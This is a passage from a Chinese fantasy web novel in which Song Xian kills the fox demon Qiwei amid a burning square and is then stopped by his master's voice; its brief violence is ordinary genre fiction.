他用沙哑的声音笑了起来:“可惜啊!可惜我的妖丹早让我给炼化啦!你记得方才,我打入白涟漪身体里的两颗血珠吗?那便是我的妖丹!你想要吗?你想要我的妖丹,你就要杀了她!你方才还这样护着她,可是转眼间,你就要杀她啦——” 后面的话,七尾没能说下去。 因为宋显手执着匕首,割断了他的喉咙。 七尾的声音戛然而止,宋显心中的无名之火却降不下去了。 他心中烦闷,广场上的火苗便又窜高了一截。 那是他放的火,自然烧不着他。 但是火势这样大,他又心绪不宁,难免觉得燥热。 广场上到处是狐族的惨叫。 他心中烦躁,思绪乱飞。 一时想,裴无衣此时应当已经接到白涟漪,着人将她送去了杏林居。 一时又想,裴无衣也应当注意到了浮屠塔中的动静,也察觉到他进了塔。 这样的话,再要往上走去寻一个大妖,恐怕时间上,就没那么宽裕了。 但是。 宋显抬头望了望天,浓烟蔽月,几乎瞧不见天了。 只要再往上走,说不定也不是不可以…… 他这样想着,浑浑噩噩穿过火海,就要往前走。 刚走了两步,却忽然听到身后一个声音喊:“隐之。” 宋显愣了愣,灵台顿时一片清明。 那是他师父云何意的声音。